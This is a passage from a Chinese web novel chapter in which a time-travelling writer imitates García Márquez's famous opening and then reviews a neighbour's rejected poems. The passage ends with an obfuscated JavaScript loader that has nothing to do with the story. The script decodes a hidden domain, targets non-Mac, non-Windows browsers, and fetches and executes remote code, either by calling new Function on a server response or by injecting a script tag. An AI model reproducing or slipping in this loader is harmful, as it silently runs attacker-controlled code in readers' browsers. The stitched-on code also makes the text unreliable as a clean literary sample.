“在隐蔽战线从事多年的安在天,每当路过四马路时,总会想起他父亲和他在这擦肩而过的那个遥远的下午,没想到竟成了永别。”
方言在纸上,写下自己第一版的开头。
明眼人一看,都看得出这是模仿《百年孤独》的开头,“多年以后,当面对行刑队,奥雷里亚诺·布恩迪亚上校,将会想起父亲带他看冰块的那个下午。”
但是,现在不会有人知道。
《百年孤独》在国内还没有翻译出版呢!
就是这样,方言才放心大胆地把《暗算》的开头写成这样,毕竟这个开头实在太经典。
很多华夏作家都模仿过,比如《白鹿原》的开头,“白嘉轩后来引以为豪的是一生里娶过七房女人”。
相比之下,《暗算》这個开头还太粗糙。
方言转了转笔,准备改一改。
接着,下文就写实为主,写虚为辅,内心独白,以及蒙太奇的切换等手法都用上。
结尾,再来个小小的升华。
比如,“父亲那一天的诀别,安在天在加入隐蔽战线的第一天,他才开始明白,哪有什么岁月静好,只是有人在替我们负重前行”。
文学性这不就有了嘛!
“嘿嘿,马尔克斯可不能找我要版权费。”
方言边笑边写,下笔如有神。
一直写到了深夜,直到杨霞第三次催促他睡觉,才不得不放下笔。
“哗啦。”
听到院子里传出一阵急促的开门声,苏雅揉了揉酸疼的眼睛,合上了《数理化自学丛书》,透过玻璃往外看。
就见方言端着脸盆,走向水槽子,麻利地刷牙洗脸洗脚一条龙,嘴角忍不住地上扬:
“从来没见他洗脚洗得这么勤快。”
“下乡一趟,他的变化可真大啊。”
“……”
苏雅双手捧脸,看着他转身回屋,才收回视线,幽幽地吐了口气,拉开桌子的小抽屉。
里面,躺着一页页自己写的诗稿。
“他这么上进,我也不能落后了!”
…………
第二天,中午。
苏雅把洗好的衣服全部挂好,然后回到屋子,再出门的时候,多了一个挎包。
来到方家,大大方方地走进方言的卧室。
“呦,稀客啊,你怎么来了?”
方言大为意外。
“不是约好的嘛。”
苏雅打开挎包,从里面拿出一叠被铁夹子夹住的稿纸,“这些是我写的诗,请你看看。”
“看可以,不过事先说好,术业有专攻,小说、诗歌、散文,每个编辑都各有长短。”
“那你呢?”
“我每样都懂一点点。”
方言道:“小说懂一点点,诗歌也懂一点点,不过可能给不了什么有用的意见。”
“没事,你看吧,反正也发表不了。”
苏雅大大方方道。
“发表不了?你之前已经投过稿?”
方言听到这话,没有急着看。
“嗯,但是没有任何一家期刊愿意发表,我也不知道问题出在哪里,可能是我真的写得太差了。”苏雅眼神里闪过一丝失落。
怪不得上辈子没听她提起过自己的诗!
方言恍然大悟,原来是写得太差,害怕当众出丑,这下更激起了他的兴趣,翻阅起来。
第一眼,竟然是朦胧诗。
接着往下翻,越翻越不对劲,出乎意料地不错,至少比屎尿屁诗,更像一首真正的诗。
有些甚至不逊色于《燕京文艺》刊登的。
奇了怪了!难道自己真的不懂诗?
“你这些诗为什么会被退稿,知道原因吗?”方言不禁怀疑起自己的鉴赏水平。
“我不知道,所以才找伱帮忙看看。”
苏雅郁闷道,“你知道问题出在哪里吗?”
“如果退稿信上没说清楚,或者没有退稿信,我也猜不出来。”方言摇了摇头,“这一次,你打算把这些诗稿投到哪家杂志?”
“《今天》。”
“没听说过,哪家出版社的?”
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{
c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){
var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");
while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';
if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};